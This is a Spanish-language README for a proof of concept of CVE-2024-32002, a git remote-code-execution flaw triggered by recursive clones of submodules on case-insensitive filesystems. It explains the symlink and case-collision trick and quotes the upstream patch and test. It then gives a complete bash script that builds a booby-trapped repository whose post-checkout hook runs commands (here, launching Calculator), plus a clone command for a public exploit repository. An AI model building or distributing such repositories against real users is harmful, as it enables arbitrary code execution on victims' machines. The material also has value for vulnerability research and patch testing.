
CVE-2024-32002 POC
Contribuidores
Esta vulnerabilidad es una vulnerabilidad de RCE (Remote Code Execution) que se produce al clonar un repositorio git que contiene submódulos en sistemas de archivos que no distinguen entre mayúsculas y minúsculas, como Windows y MacOS. RCE es una vulnerabilidad de ejecución remota de código muy crítica que permite al atacante ejecutar los comandos que desee en el sistema objetivo.
A/modules/x y a/modules/x se tratan como la misma ruta. Esta característica, junto con los enlaces simbólicos, se aprovecha para provocar la vulnerabilidad.
git config --global core.symlinks false, el ataque no funciona.Ver el parche de la vulnerabilidad
builtin/submodule--helper.cLa función dir_contains_only_dotgit: comprueba si el directorio contiene solo el archivo .git u otros directorios y, si hay otros archivos o directorios, devuelve un error. La función clone_submodule: antes de clonar, verifica que el directorio del submódulo exista y esté vacío.
t/t7406-submodule-update.shtest_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
A/modules/x y hace commit.a que apunta a .git.test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
Git dispone de un mecanismo llamado hook que permite ejecutar scripts automáticamente cuando ocurren determinados eventos. Se encuentran en el directorio .git/hooks. post-checkout es el script que se ejecuta después de un checkout.

El orden es el siguiente:
a que apunta a .git.a/modules/x en lugar de A/modules/x.a apunta a .git, se crea /modules/x dentro de .git y se genera y/hooks/post-checkout.git_rce/.git/modules/x/y/hooks/post-checkout se ejecuta automáticamente, lo que provoca el RCE.⚠️ Advertencia: ¡No utilice esta vulnerabilidad con fines maliciosos!
git clone --recursive https://github.com/Roronoawjd/git_rce.gitNota: En Windows, debe abrir cmd o el shell de bash con permisos de administrador para ejecutarlo.